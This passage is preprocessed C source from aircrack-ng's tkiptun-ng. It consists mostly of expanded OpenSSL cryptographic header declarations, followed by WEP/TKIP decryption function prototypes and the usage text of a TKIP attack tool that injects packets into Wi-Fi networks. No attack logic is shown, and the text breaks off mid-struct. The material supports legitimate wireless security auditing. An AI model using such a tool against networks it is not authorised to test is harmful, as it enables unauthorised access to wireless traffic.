# 783 "/usr/include/openssl/evp.h" 3 4
const EVP_CIPHER *EVP_aes_128_ecb(void);
const EVP_CIPHER *EVP_aes_128_cbc(void);
const EVP_CIPHER *EVP_aes_128_cfb1(void);
const EVP_CIPHER *EVP_aes_128_cfb8(void);
const EVP_CIPHER *EVP_aes_128_cfb128(void);

const EVP_CIPHER *EVP_aes_128_ofb(void);
const EVP_CIPHER *EVP_aes_128_ctr(void);
const EVP_CIPHER *EVP_aes_128_ccm(void);
const EVP_CIPHER *EVP_aes_128_gcm(void);
const EVP_CIPHER *EVP_aes_128_xts(void);
const EVP_CIPHER *EVP_aes_192_ecb(void);
const EVP_CIPHER *EVP_aes_192_cbc(void);
const EVP_CIPHER *EVP_aes_192_cfb1(void);
const EVP_CIPHER *EVP_aes_192_cfb8(void);
const EVP_CIPHER *EVP_aes_192_cfb128(void);

const EVP_CIPHER *EVP_aes_192_ofb(void);
const EVP_CIPHER *EVP_aes_192_ctr(void);
const EVP_CIPHER *EVP_aes_192_ccm(void);
const EVP_CIPHER *EVP_aes_192_gcm(void);
const EVP_CIPHER *EVP_aes_256_ecb(void);
const EVP_CIPHER *EVP_aes_256_cbc(void);
const EVP_CIPHER *EVP_aes_256_cfb1(void);
const EVP_CIPHER *EVP_aes_256_cfb8(void);
const EVP_CIPHER *EVP_aes_256_cfb128(void);

const EVP_CIPHER *EVP_aes_256_ofb(void);
const EVP_CIPHER *EVP_aes_256_ctr(void);
const EVP_CIPHER *EVP_aes_256_ccm(void);
const EVP_CIPHER *EVP_aes_256_gcm(void);
const EVP_CIPHER *EVP_aes_256_xts(void);

const EVP_CIPHER *EVP_aes_128_cbc_hmac_sha1(void);
const EVP_CIPHER *EVP_aes_256_cbc_hmac_sha1(void);



const EVP_CIPHER *EVP_camellia_128_ecb(void);
const EVP_CIPHER *EVP_camellia_128_cbc(void);
const EVP_CIPHER *EVP_camellia_128_cfb1(void);
const EVP_CIPHER *EVP_camellia_128_cfb8(void);
const EVP_CIPHER *EVP_camellia_128_cfb128(void);

const EVP_CIPHER *EVP_camellia_128_ofb(void);
const EVP_CIPHER *EVP_camellia_192_ecb(void);
const EVP_CIPHER *EVP_camellia_192_cbc(void);
const EVP_CIPHER *EVP_camellia_192_cfb1(void);
const EVP_CIPHER *EVP_camellia_192_cfb8(void);
const EVP_CIPHER *EVP_camellia_192_cfb128(void);

const EVP_CIPHER *EVP_camellia_192_ofb(void);
const EVP_CIPHER *EVP_camellia_256_ecb(void);
const EVP_CIPHER *EVP_camellia_256_cbc(void);
const EVP_CIPHER *EVP_camellia_256_cfb1(void);
const EVP_CIPHER *EVP_camellia_256_cfb8(void);
const EVP_CIPHER *EVP_camellia_256_cfb128(void);

const EVP_CIPHER *EVP_camellia_256_ofb(void);



const EVP_CIPHER *EVP_seed_ecb(void);
const EVP_CIPHER *EVP_seed_cbc(void);
const EVP_CIPHER *EVP_seed_cfb128(void);

const EVP_CIPHER *EVP_seed_ofb(void);


void OPENSSL_add_all_algorithms_noconf(void);
void OPENSSL_add_all_algorithms_conf(void);
# 863 "/usr/include/openssl/evp.h" 3 4
void OpenSSL_add_all_ciphers(void);
void OpenSSL_add_all_digests(void);




int EVP_add_cipher(const EVP_CIPHER *cipher);
int EVP_add_digest(const EVP_MD *digest);

const EVP_CIPHER *EVP_get_cipherbyname(const char *name);
const EVP_MD *EVP_get_digestbyname(const char *name);
void EVP_cleanup(void);

void EVP_CIPHER_do_all(void (*fn)(const EVP_CIPHER *ciph,
  const char *from, const char *to, void *x), void *arg);
void EVP_CIPHER_do_all_sorted(void (*fn)(const EVP_CIPHER *ciph,
  const char *from, const char *to, void *x), void *arg);

void EVP_MD_do_all(void (*fn)(const EVP_MD *ciph,
  const char *from, const char *to, void *x), void *arg);
void EVP_MD_do_all_sorted(void (*fn)(const EVP_MD *ciph,
  const char *from, const char *to, void *x), void *arg);

int EVP_PKEY_decrypt_old(unsigned char *dec_key,
   const unsigned char *enc_key,int enc_key_len,
   EVP_PKEY *private_key);
int EVP_PKEY_encrypt_old(unsigned char *enc_key,
   const unsigned char *key,int key_len,
   EVP_PKEY *pub_key);
int EVP_PKEY_type(int type);
int EVP_PKEY_id(const EVP_PKEY *pkey);
int EVP_PKEY_base_id(const EVP_PKEY *pkey);
int EVP_PKEY_bits(EVP_PKEY *pkey);
int EVP_PKEY_size(EVP_PKEY *pkey);
int EVP_PKEY_set_type(EVP_PKEY *pkey,int type);
int EVP_PKEY_set_type_str(EVP_PKEY *pkey, const char *str, int len);
int EVP_PKEY_assign(EVP_PKEY *pkey,int type,void *key);
void * EVP_PKEY_get0(EVP_PKEY *pkey);


struct rsa_st;
int EVP_PKEY_set1_RSA(EVP_PKEY *pkey,struct rsa_st *key);
struct rsa_st *EVP_PKEY_get1_RSA(EVP_PKEY *pkey);


struct dsa_st;
int EVP_PKEY_set1_DSA(EVP_PKEY *pkey,struct dsa_st *key);
struct dsa_st *EVP_PKEY_get1_DSA(EVP_PKEY *pkey);


struct dh_st;
int EVP_PKEY_set1_DH(EVP_PKEY *pkey,struct dh_st *key);
struct dh_st *EVP_PKEY_get1_DH(EVP_PKEY *pkey);







EVP_PKEY * EVP_PKEY_new(void);
void EVP_PKEY_free(EVP_PKEY *pkey);

EVP_PKEY * d2i_PublicKey(int type,EVP_PKEY **a, const unsigned char **pp,
   long length);
int i2d_PublicKey(EVP_PKEY *a, unsigned char **pp);

EVP_PKEY * d2i_PrivateKey(int type,EVP_PKEY **a, const unsigned char **pp,
   long length);
EVP_PKEY * d2i_AutoPrivateKey(EVP_PKEY **a, const unsigned char **pp,
   long length);
int i2d_PrivateKey(EVP_PKEY *a, unsigned char **pp);

int EVP_PKEY_copy_parameters(EVP_PKEY *to, const EVP_PKEY *from);
int EVP_PKEY_missing_parameters(const EVP_PKEY *pkey);
int EVP_PKEY_save_parameters(EVP_PKEY *pkey,int mode);
int EVP_PKEY_cmp_parameters(const EVP_PKEY *a, const EVP_PKEY *b);

int EVP_PKEY_cmp(const EVP_PKEY *a, const EVP_PKEY *b);

int EVP_PKEY_print_public(BIO *out, const EVP_PKEY *pkey,
    int indent, ASN1_PCTX *pctx);
int EVP_PKEY_print_private(BIO *out, const EVP_PKEY *pkey,
    int indent, ASN1_PCTX *pctx);
int EVP_PKEY_print_params(BIO *out, const EVP_PKEY *pkey,
    int indent, ASN1_PCTX *pctx);

int EVP_PKEY_get_default_digest_nid(EVP_PKEY *pkey, int *pnid);

int EVP_CIPHER_type(const EVP_CIPHER *ctx);


int EVP_CIPHER_param_to_asn1(EVP_CIPHER_CTX *c, ASN1_TYPE *type);
int EVP_CIPHER_asn1_to_param(EVP_CIPHER_CTX *c, ASN1_TYPE *type);


int EVP_CIPHER_set_asn1_iv(EVP_CIPHER_CTX *c,ASN1_TYPE *type);
int EVP_CIPHER_get_asn1_iv(EVP_CIPHER_CTX *c,ASN1_TYPE *type);


int PKCS5_PBE_keyivgen(EVP_CIPHER_CTX *ctx, const char *pass, int passlen,
    ASN1_TYPE *param, const EVP_CIPHER *cipher, const EVP_MD *md,
    int en_de);
int PKCS5_PBKDF2_HMAC_SHA1(const char *pass, int passlen,
      const unsigned char *salt, int saltlen, int iter,
      int keylen, unsigned char *out);
int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
      const unsigned char *salt, int saltlen, int iter,
      const EVP_MD *digest,
        int keylen, unsigned char *out);
int PKCS5_v2_PBE_keyivgen(EVP_CIPHER_CTX *ctx, const char *pass, int passlen,
    ASN1_TYPE *param, const EVP_CIPHER *cipher, const EVP_MD *md,
    int en_de);

void PKCS5_PBE_add(void);

int EVP_PBE_CipherInit (ASN1_OBJECT *pbe_obj, const char *pass, int passlen,
      ASN1_TYPE *param, EVP_CIPHER_CTX *ctx, int en_de);
# 989 "/usr/include/openssl/evp.h" 3 4
int EVP_PBE_alg_add_type(int pbe_type, int pbe_nid, int cipher_nid, int md_nid,
      EVP_PBE_KEYGEN *keygen);
int EVP_PBE_alg_add(int nid, const EVP_CIPHER *cipher, const EVP_MD *md,
      EVP_PBE_KEYGEN *keygen);
int EVP_PBE_find(int type, int pbe_nid,
   int *pcnid, int *pmnid, EVP_PBE_KEYGEN **pkeygen);
void EVP_PBE_cleanup(void);
# 1007 "/usr/include/openssl/evp.h" 3 4
int EVP_PKEY_asn1_get_count(void);
const EVP_PKEY_ASN1_METHOD *EVP_PKEY_asn1_get0(int idx);
const EVP_PKEY_ASN1_METHOD *EVP_PKEY_asn1_find(ENGINE **pe, int type);
const EVP_PKEY_ASN1_METHOD *EVP_PKEY_asn1_find_str(ENGINE **pe,
     const char *str, int len);
int EVP_PKEY_asn1_add0(const EVP_PKEY_ASN1_METHOD *ameth);
int EVP_PKEY_asn1_add_alias(int to, int from);
int EVP_PKEY_asn1_get0_info(int *ppkey_id, int *pkey_base_id, int *ppkey_flags,
    const char **pinfo, const char **ppem_str,
     const EVP_PKEY_ASN1_METHOD *ameth);

const EVP_PKEY_ASN1_METHOD* EVP_PKEY_get0_asn1(EVP_PKEY *pkey);
EVP_PKEY_ASN1_METHOD* EVP_PKEY_asn1_new(int id, int flags,
     const char *pem_str, const char *info);
void EVP_PKEY_asn1_copy(EVP_PKEY_ASN1_METHOD *dst,
   const EVP_PKEY_ASN1_METHOD *src);
void EVP_PKEY_asn1_free(EVP_PKEY_ASN1_METHOD *ameth);
void EVP_PKEY_asn1_set_public(EVP_PKEY_ASN1_METHOD *ameth,
  int (*pub_decode)(EVP_PKEY *pk, X509_PUBKEY *pub),
  int (*pub_encode)(X509_PUBKEY *pub, const EVP_PKEY *pk),
  int (*pub_cmp)(const EVP_PKEY *a, const EVP_PKEY *b),
  int (*pub_print)(BIO *out, const EVP_PKEY *pkey, int indent,
       ASN1_PCTX *pctx),
  int (*pkey_size)(const EVP_PKEY *pk),
  int (*pkey_bits)(const EVP_PKEY *pk));
void EVP_PKEY_asn1_set_private(EVP_PKEY_ASN1_METHOD *ameth,
  int (*priv_decode)(EVP_PKEY *pk, PKCS8_PRIV_KEY_INFO *p8inf),
  int (*priv_encode)(PKCS8_PRIV_KEY_INFO *p8, const EVP_PKEY *pk),
  int (*priv_print)(BIO *out, const EVP_PKEY *pkey, int indent,
       ASN1_PCTX *pctx));
void EVP_PKEY_asn1_set_param(EVP_PKEY_ASN1_METHOD *ameth,
  int (*param_decode)(EVP_PKEY *pkey,
    const unsigned char **pder, int derlen),
  int (*param_encode)(const EVP_PKEY *pkey, unsigned char **pder),
  int (*param_missing)(const EVP_PKEY *pk),
  int (*param_copy)(EVP_PKEY *to, const EVP_PKEY *from),
  int (*param_cmp)(const EVP_PKEY *a, const EVP_PKEY *b),
  int (*param_print)(BIO *out, const EVP_PKEY *pkey, int indent,
       ASN1_PCTX *pctx));

void EVP_PKEY_asn1_set_free(EVP_PKEY_ASN1_METHOD *ameth,
  void (*pkey_free)(EVP_PKEY *pkey));
void EVP_PKEY_asn1_set_ctrl(EVP_PKEY_ASN1_METHOD *ameth,
  int (*pkey_ctrl)(EVP_PKEY *pkey, int op,
       long arg1, void *arg2));
# 1113 "/usr/include/openssl/evp.h" 3 4
const EVP_PKEY_METHOD *EVP_PKEY_meth_find(int type);
EVP_PKEY_METHOD* EVP_PKEY_meth_new(int id, int flags);
void EVP_PKEY_meth_get0_info(int *ppkey_id, int *pflags,
    const EVP_PKEY_METHOD *meth);
void EVP_PKEY_meth_copy(EVP_PKEY_METHOD *dst, const EVP_PKEY_METHOD *src);
void EVP_PKEY_meth_free(EVP_PKEY_METHOD *pmeth);
int EVP_PKEY_meth_add0(const EVP_PKEY_METHOD *pmeth);

EVP_PKEY_CTX *EVP_PKEY_CTX_new(EVP_PKEY *pkey, ENGINE *e);
EVP_PKEY_CTX *EVP_PKEY_CTX_new_id(int id, ENGINE *e);
EVP_PKEY_CTX *EVP_PKEY_CTX_dup(EVP_PKEY_CTX *ctx);
void EVP_PKEY_CTX_free(EVP_PKEY_CTX *ctx);

int EVP_PKEY_CTX_ctrl(EVP_PKEY_CTX *ctx, int keytype, int optype,
    int cmd, int p1, void *p2);
int EVP_PKEY_CTX_ctrl_str(EVP_PKEY_CTX *ctx, const char *type,
      const char *value);

int EVP_PKEY_CTX_get_operation(EVP_PKEY_CTX *ctx);
void EVP_PKEY_CTX_set0_keygen_info(EVP_PKEY_CTX *ctx, int *dat, int datlen);

EVP_PKEY *EVP_PKEY_new_mac_key(int type, ENGINE *e,
    const unsigned char *key, int keylen);

void EVP_PKEY_CTX_set_data(EVP_PKEY_CTX *ctx, void *data);
void *EVP_PKEY_CTX_get_data(EVP_PKEY_CTX *ctx);
EVP_PKEY *EVP_PKEY_CTX_get0_pkey(EVP_PKEY_CTX *ctx);

EVP_PKEY *EVP_PKEY_CTX_get0_peerkey(EVP_PKEY_CTX *ctx);

void EVP_PKEY_CTX_set_app_data(EVP_PKEY_CTX *ctx, void *data);
void *EVP_PKEY_CTX_get_app_data(EVP_PKEY_CTX *ctx);

int EVP_PKEY_sign_init(EVP_PKEY_CTX *ctx);
int EVP_PKEY_sign(EVP_PKEY_CTX *ctx,
   unsigned char *sig, size_t *siglen,
   const unsigned char *tbs, size_t tbslen);
int EVP_PKEY_verify_init(EVP_PKEY_CTX *ctx);
int EVP_PKEY_verify(EVP_PKEY_CTX *ctx,
   const unsigned char *sig, size_t siglen,
   const unsigned char *tbs, size_t tbslen);
int EVP_PKEY_verify_recover_init(EVP_PKEY_CTX *ctx);
int EVP_PKEY_verify_recover(EVP_PKEY_CTX *ctx,
   unsigned char *rout, size_t *routlen,
   const unsigned char *sig, size_t siglen);
int EVP_PKEY_encrypt_init(EVP_PKEY_CTX *ctx);
int EVP_PKEY_encrypt(EVP_PKEY_CTX *ctx,
   unsigned char *out, size_t *outlen,
   const unsigned char *in, size_t inlen);
int EVP_PKEY_decrypt_init(EVP_PKEY_CTX *ctx);
int EVP_PKEY_decrypt(EVP_PKEY_CTX *ctx,
   unsigned char *out, size_t *outlen,
   const unsigned char *in, size_t inlen);

int EVP_PKEY_derive_init(EVP_PKEY_CTX *ctx);
int EVP_PKEY_derive_set_peer(EVP_PKEY_CTX *ctx, EVP_PKEY *peer);
int EVP_PKEY_derive(EVP_PKEY_CTX *ctx, unsigned char *key, size_t *keylen);

typedef int EVP_PKEY_gen_cb(EVP_PKEY_CTX *ctx);

int EVP_PKEY_paramgen_init(EVP_PKEY_CTX *ctx);
int EVP_PKEY_paramgen(EVP_PKEY_CTX *ctx, EVP_PKEY **ppkey);
int EVP_PKEY_keygen_init(EVP_PKEY_CTX *ctx);
int EVP_PKEY_keygen(EVP_PKEY_CTX *ctx, EVP_PKEY **ppkey);

void EVP_PKEY_CTX_set_cb(EVP_PKEY_CTX *ctx, EVP_PKEY_gen_cb *cb);
EVP_PKEY_gen_cb *EVP_PKEY_CTX_get_cb(EVP_PKEY_CTX *ctx);

int EVP_PKEY_CTX_get_keygen_info(EVP_PKEY_CTX *ctx, int idx);

void EVP_PKEY_meth_set_init(EVP_PKEY_METHOD *pmeth,
 int (*init)(EVP_PKEY_CTX *ctx));

void EVP_PKEY_meth_set_copy(EVP_PKEY_METHOD *pmeth,
 int (*copy)(EVP_PKEY_CTX *dst, EVP_PKEY_CTX *src));

void EVP_PKEY_meth_set_cleanup(EVP_PKEY_METHOD *pmeth,
 void (*cleanup)(EVP_PKEY_CTX *ctx));

void EVP_PKEY_meth_set_paramgen(EVP_PKEY_METHOD *pmeth,
 int (*paramgen_init)(EVP_PKEY_CTX *ctx),
 int (*paramgen)(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey));

void EVP_PKEY_meth_set_keygen(EVP_PKEY_METHOD *pmeth,
 int (*keygen_init)(EVP_PKEY_CTX *ctx),
 int (*keygen)(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey));

void EVP_PKEY_meth_set_sign(EVP_PKEY_METHOD *pmeth,
 int (*sign_init)(EVP_PKEY_CTX *ctx),
 int (*sign)(EVP_PKEY_CTX *ctx, unsigned char *sig, size_t *siglen,
     const unsigned char *tbs, size_t tbslen));

void EVP_PKEY_meth_set_verify(EVP_PKEY_METHOD *pmeth,
 int (*verify_init)(EVP_PKEY_CTX *ctx),
 int (*verify)(EVP_PKEY_CTX *ctx, const unsigned char *sig, size_t siglen,
     const unsigned char *tbs, size_t tbslen));

void EVP_PKEY_meth_set_verify_recover(EVP_PKEY_METHOD *pmeth,
 int (*verify_recover_init)(EVP_PKEY_CTX *ctx),
 int (*verify_recover)(EVP_PKEY_CTX *ctx,
     unsigned char *sig, size_t *siglen,
     const unsigned char *tbs, size_t tbslen));

void EVP_PKEY_meth_set_signctx(EVP_PKEY_METHOD *pmeth,
 int (*signctx_init)(EVP_PKEY_CTX *ctx, EVP_MD_CTX *mctx),
 int (*signctx)(EVP_PKEY_CTX *ctx, unsigned char *sig, size_t *siglen,
     EVP_MD_CTX *mctx));

void EVP_PKEY_meth_set_verifyctx(EVP_PKEY_METHOD *pmeth,
 int (*verifyctx_init)(EVP_PKEY_CTX *ctx, EVP_MD_CTX *mctx),
 int (*verifyctx)(EVP_PKEY_CTX *ctx, const unsigned char *sig,int siglen,
     EVP_MD_CTX *mctx));

void EVP_PKEY_meth_set_encrypt(EVP_PKEY_METHOD *pmeth,
 int (*encrypt_init)(EVP_PKEY_CTX *ctx),
 int (*encryptfn)(EVP_PKEY_CTX *ctx, unsigned char *out, size_t *outlen,
     const unsigned char *in, size_t inlen));

void EVP_PKEY_meth_set_decrypt(EVP_PKEY_METHOD *pmeth,
 int (*decrypt_init)(EVP_PKEY_CTX *ctx),
 int (*decrypt)(EVP_PKEY_CTX *ctx, unsigned char *out, size_t *outlen,
     const unsigned char *in, size_t inlen));

void EVP_PKEY_meth_set_derive(EVP_PKEY_METHOD *pmeth,
 int (*derive_init)(EVP_PKEY_CTX *ctx),
 int (*derive)(EVP_PKEY_CTX *ctx, unsigned char *key, size_t *keylen));

void EVP_PKEY_meth_set_ctrl(EVP_PKEY_METHOD *pmeth,
 int (*ctrl)(EVP_PKEY_CTX *ctx, int type, int p1, void *p2),
 int (*ctrl_str)(EVP_PKEY_CTX *ctx,
     const char *type, const char *value));

void EVP_add_alg_module(void);





void ERR_load_EVP_strings(void);
# 68 "/usr/include/openssl/hmac.h" 2 3 4







typedef struct hmac_ctx_st
 {
 const EVP_MD *md;
 EVP_MD_CTX md_ctx;
 EVP_MD_CTX i_ctx;
 EVP_MD_CTX o_ctx;
 unsigned int key_length;
 unsigned char key[128];
 } HMAC_CTX;




void HMAC_CTX_init(HMAC_CTX *ctx);
void HMAC_CTX_cleanup(HMAC_CTX *ctx);



int HMAC_Init(HMAC_CTX *ctx, const void *key, int len,
        const EVP_MD *md);
int HMAC_Init_ex(HMAC_CTX *ctx, const void *key, int len,
    const EVP_MD *md, ENGINE *impl);
int HMAC_Update(HMAC_CTX *ctx, const unsigned char *data, size_t len);
int HMAC_Final(HMAC_CTX *ctx, unsigned char *md, unsigned int *len);
unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len,
      const unsigned char *d, size_t n, unsigned char *md,
      unsigned int *md_len);
int HMAC_CTX_copy(HMAC_CTX *dctx, HMAC_CTX *sctx);

void HMAC_CTX_set_flags(HMAC_CTX *ctx, unsigned long flags);
# 13 "crypto.h" 2
# 1 "/usr/include/openssl/sha.h" 1 3 4
# 62 "/usr/include/openssl/sha.h" 3 4
# 1 "/usr/include/openssl/e_os2.h" 1 3 4
# 56 "/usr/include/openssl/e_os2.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 57 "/usr/include/openssl/e_os2.h" 2 3 4
# 63 "/usr/include/openssl/sha.h" 2 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 150 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 3 4
typedef int ptrdiff_t;
# 64 "/usr/include/openssl/sha.h" 2 3 4
# 100 "/usr/include/openssl/sha.h" 3 4
typedef struct SHAstate_st
 {
 unsigned int h0,h1,h2,h3,h4;
 unsigned int Nl,Nh;
 unsigned int data[16];
 unsigned int num;
 } SHA_CTX;





int SHA_Init(SHA_CTX *c);
int SHA_Update(SHA_CTX *c, const void *data, size_t len);
int SHA_Final(unsigned char *md, SHA_CTX *c);
unsigned char *SHA(const unsigned char *d, size_t n, unsigned char *md);
void SHA_Transform(SHA_CTX *c, const unsigned char *data);





int SHA1_Init(SHA_CTX *c);
int SHA1_Update(SHA_CTX *c, const void *data, size_t len);
int SHA1_Final(unsigned char *md, SHA_CTX *c);
unsigned char *SHA1(const unsigned char *d, size_t n, unsigned char *md);
void SHA1_Transform(SHA_CTX *c, const unsigned char *data);
# 135 "/usr/include/openssl/sha.h" 3 4
typedef struct SHA256state_st
 {
 unsigned int h[8];
 unsigned int Nl,Nh;
 unsigned int data[16];
 unsigned int num,md_len;
 } SHA256_CTX;






int SHA224_Init(SHA256_CTX *c);
int SHA224_Update(SHA256_CTX *c, const void *data, size_t len);
int SHA224_Final(unsigned char *md, SHA256_CTX *c);
unsigned char *SHA224(const unsigned char *d, size_t n,unsigned char *md);
int SHA256_Init(SHA256_CTX *c);
int SHA256_Update(SHA256_CTX *c, const void *data, size_t len);
int SHA256_Final(unsigned char *md, SHA256_CTX *c);
unsigned char *SHA256(const unsigned char *d, size_t n,unsigned char *md);
void SHA256_Transform(SHA256_CTX *c, const unsigned char *data);
# 182 "/usr/include/openssl/sha.h" 3 4
typedef struct SHA512state_st
 {
 unsigned long long h[8];
 unsigned long long Nl,Nh;
 union {
  unsigned long long d[16];
  unsigned char p[(16*8)];
 } u;
 unsigned int num,md_len;
 } SHA512_CTX;







int SHA384_Init(SHA512_CTX *c);
int SHA384_Update(SHA512_CTX *c, const void *data, size_t len);
int SHA384_Final(unsigned char *md, SHA512_CTX *c);
unsigned char *SHA384(const unsigned char *d, size_t n,unsigned char *md);
int SHA512_Init(SHA512_CTX *c);
int SHA512_Update(SHA512_CTX *c, const void *data, size_t len);
int SHA512_Final(unsigned char *md, SHA512_CTX *c);
unsigned char *SHA512(const unsigned char *d, size_t n,unsigned char *md);
void SHA512_Transform(SHA512_CTX *c, const unsigned char *data);
# 14 "crypto.h" 2

# 1 "/usr/include/openssl/rc4.h" 1 3 4
# 62 "/usr/include/openssl/rc4.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 63 "/usr/include/openssl/rc4.h" 2 3 4




# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 68 "/usr/include/openssl/rc4.h" 2 3 4





typedef struct rc4_key_st
 {
 unsigned char x,y;
 unsigned char data[256];
 } RC4_KEY;


const char *RC4_options(void);
void RC4_set_key(RC4_KEY *key, int len, const unsigned char *data);
void private_RC4_set_key(RC4_KEY *key, int len, const unsigned char *data);
void RC4(RC4_KEY *key, size_t len, const unsigned char *indata,
  unsigned char *outdata);
# 16 "crypto.h" 2
# 1 "/usr/include/openssl/aes.h" 1 3 4
# 55 "/usr/include/openssl/aes.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 56 "/usr/include/openssl/aes.h" 2 3 4





# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 62 "/usr/include/openssl/aes.h" 2 3 4
# 76 "/usr/include/openssl/aes.h" 3 4
struct aes_key_st {



    unsigned int rd_key[4 *(14 + 1)];

    int rounds;
};
typedef struct aes_key_st AES_KEY;

const char *AES_options(void);

int AES_set_encrypt_key(const unsigned char *userKey, const int bits,
 AES_KEY *key);
int AES_set_decrypt_key(const unsigned char *userKey, const int bits,
 AES_KEY *key);

int private_AES_set_encrypt_key(const unsigned char *userKey, const int bits,
 AES_KEY *key);
int private_AES_set_decrypt_key(const unsigned char *userKey, const int bits,
 AES_KEY *key);

void AES_encrypt(const unsigned char *in, unsigned char *out,
 const AES_KEY *key);
void AES_decrypt(const unsigned char *in, unsigned char *out,
 const AES_KEY *key);

void AES_ecb_encrypt(const unsigned char *in, unsigned char *out,
 const AES_KEY *key, const int enc);
void AES_cbc_encrypt(const unsigned char *in, unsigned char *out,
 size_t length, const AES_KEY *key,
 unsigned char *ivec, const int enc);
void AES_cfb128_encrypt(const unsigned char *in, unsigned char *out,
 size_t length, const AES_KEY *key,
 unsigned char *ivec, int *num, const int enc);
void AES_cfb1_encrypt(const unsigned char *in, unsigned char *out,
 size_t length, const AES_KEY *key,
 unsigned char *ivec, int *num, const int enc);
void AES_cfb8_encrypt(const unsigned char *in, unsigned char *out,
 size_t length, const AES_KEY *key,
 unsigned char *ivec, int *num, const int enc);
void AES_ofb128_encrypt(const unsigned char *in, unsigned char *out,
 size_t length, const AES_KEY *key,
 unsigned char *ivec, int *num);
void AES_ctr128_encrypt(const unsigned char *in, unsigned char *out,
 size_t length, const AES_KEY *key,
 unsigned char ivec[16],
 unsigned char ecount_buf[16],
 unsigned int *num);

void AES_ige_encrypt(const unsigned char *in, unsigned char *out,
       size_t length, const AES_KEY *key,
       unsigned char *ivec, const int enc);

void AES_bi_ige_encrypt(const unsigned char *in, unsigned char *out,
   size_t length, const AES_KEY *key,
   const AES_KEY *key2, const unsigned char *ivec,
   const int enc);

int AES_wrap_key(AES_KEY *key, const unsigned char *iv,
  unsigned char *out,
  const unsigned char *in, unsigned int inlen);
int AES_unwrap_key(AES_KEY *key, const unsigned char *iv,
  unsigned char *out,
  const unsigned char *in, unsigned int inlen);
# 17 "crypto.h" 2
# 50 "crypto.h"
struct WPA_ST_info
{
    struct WPA_ST_info *next;
    unsigned char stmac[6];
    unsigned char bssid[6];
    unsigned char snonce[32];
    unsigned char anonce[32];
    unsigned char keymic[20];
    unsigned char eapol[256];
    unsigned char ptk[80];
    int eapol_size;
    unsigned long t_crc;
    unsigned long f_crc;
    int keyver, valid_ptk;
};

struct Michael
{
    unsigned long key0;
    unsigned long key1;
    unsigned long left;
    unsigned long right;
    unsigned long nBytesInM;
    unsigned long message;
    unsigned char mic[8];
};
# 172 "crypto.h"
struct rc4_state
{
    int x, y, m[256];
};

struct AP_info;

void calc_pmk( char *key, char *essid, unsigned char pmk[40] );
int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen );
int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen );
int check_crc_buf( unsigned char *buf, int len );
int calc_crc_buf( unsigned char *buf, int len );
void calc_mic(struct AP_info *ap, unsigned char *pmk, unsigned char *ptk,
       unsigned char *mic);
int known_clear(void *clear, int *clen, int *weight, unsigned char *wh, int len);
int add_crc32(unsigned char* data, int length);
int add_crc32_plain(unsigned char* data, int length);
int is_ipv6(void *wh);
int is_dhcp_discover(void *wh, int len);
int is_qos_arp_tkip(void *wh, int len);
int calc_tkip_ppk( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char key[16] );
int decrypt_tkip( unsigned char *h80211, int caplen, unsigned char TK1[16] );
int decrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16] );
int calc_ptk( struct WPA_ST_info *wpa, unsigned char pmk[32] );
int calc_tkip_mic(unsigned char* packet, int length, unsigned char ptk[80], unsigned char value[8]);
int michael_test(unsigned char key[8], unsigned char *message, int length, unsigned char out[8]);
int calc_tkip_mic_key(unsigned char* packet, int length, unsigned char key[8]);
# 72 "tkiptun-ng.c" 2
# 1 "common.h" 1
# 73 "tkiptun-ng.c" 2
# 127 "tkiptun-ng.c"
static unsigned char ZERO[32] =
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00";

int bitrates[12]={1000000, 2000000, 5500000, 6000000, 9000000, 11000000, 12000000, 18000000, 24000000, 36000000, 48000000, 54000000};

extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta);
extern char * searchInside(const char * dir, const char * filename);
extern int maccmp(unsigned char *mac1, unsigned char *mac2);
extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac);
extern int check_crc_buf( unsigned char *buf, int len );
extern const unsigned long int crc_tbl[256];
extern const unsigned char crc_chop_tbl[256][4];
extern int hexStringToHex(char* in, int length, unsigned char* out);

char usage[] =

"\n"
"  %s - (C) 2008, 2009 Thomas d\'Otreppe\n"
"  http://www.aircrack-ng.org\n"
"\n"
"  usage: tkiptun-ng <options> <replay interface>\n"
"\n"
"  Filter options:\n"
"\n"
"      -d dmac   : MAC address, Destination\n"
"      -s smac   : MAC address, Source\n"
"      -m len    : minimum packet length (default: 80) \n"
"      -n len    : maximum packet length (default: 80)\n"
"      -t tods   : frame control, To      DS bit\n"
"      -f fromds : frame control, From    DS bit\n"
"      -D        : disable AP detection\n"
"      -Z        : select packets manually\n"
"\n"
"  Replay options:\n"
"\n"
"      -x nbpps  : number of packets per second\n"
"      -a bssid  : set Access Point MAC address\n"
"      -c dmac   : set Destination  MAC address\n"
"      -h smac   : set Source       MAC address\n"
"      -e essid  : set target AP SSID\n"
"      -M sec    : MIC error timout in seconds [60]\n"
"\n"
"  Debug options:\n"
"\n"
"      -K prga   : keystream for continuation\n"
"      -y file   : keystream-file for continuation\n"
"      -j        : inject FromDS packets\n"
"      -P pmk    : pmk for verification/vuln testing\n"
"      -p psk    : psk to calculate pmk with essid\n"
"\n"
"  source options:\n"
"\n"
"      -i iface  : capture packets from this interface\n"
"      -r file   : extract packets from this pcap file\n"
"\n"
"      --help              : Displays this usage screen\n"
"\n";

struct WPA_hdsk
{
 unsigned char stmac[6];
 unsigned char snonce[32];
 unsigned char anonce[32];
 unsigned char keymic[16];
